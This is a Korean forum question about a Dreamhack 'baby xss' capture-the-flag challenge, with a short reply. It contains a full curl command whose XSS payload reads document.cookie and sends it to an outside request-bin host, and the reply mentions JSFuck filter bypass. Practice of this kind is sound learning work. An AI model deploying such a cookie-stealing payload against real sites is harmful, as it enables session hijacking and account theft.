baby xss challenge 933번 질문있습니다!
  1. 프론트엔드, /music에서 POST로 /save에 요청을 보내기전에 정규식을 활용하여 알파벳이랑, 특수문자를 필터링하기때문에, 백엔드 라우터인 /save로 바로 POST 요청으로 Flag를 보내게 해서 이거를 Dreamhack Tools로 Get요청을 하게하려고 했는데, 정상적으로 Reported!는 뜨는데 Tools로 요청이 들어오지 않아요 이유를 알려주시면 감사하겠습니다.

  2. 특수문자에 포함되지않는 기호인 JSFuck을 사용할려고도 했는데, 위 방법으로 문제를 풀어보고 싶어서요.

  3. 그리고 마지막으로 curl이나, console에서 직접적으로 POST 요청을 하였을때 DreamHack VM 서버가 자꾸 다운되는데 어떻게 해결하는지도 알려주시면 감사하겠습니다.

**curl -X POST -H "Content-Type: application/json" -d '{"url": "<script>(deep_cookie = document.cookie),fetch(\"/save\",{method:\"POST\",body:JSON.stringify({age:deep_cookie}),headers:{\"Content-Type\":\"application/json\"}}).then(response=>response.text()).then(data=>location.href=\"https://ynjlqqb.request.dreamhack.games/\"+data);</script>"}' http://host3.dreamhack.games:12833/report**

#web
작성자 정보
답변 1
avatar
hoppi_
대표 업적 없음

안녕하세요 Eunseok07Yang님

  1. 알파벳을 사용하지 못하기 때문에 JSFunc를 써야합니다. 그 문제가 아니라면, URL인코딩 문제일 수 있습니다.
  2. 다른 분들을 그렇게 풀이하신 듯 합니다.
  3. 파이썬으로 스크립트를 짜는 건 어떤가요?
2024.07.31. 18:10
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기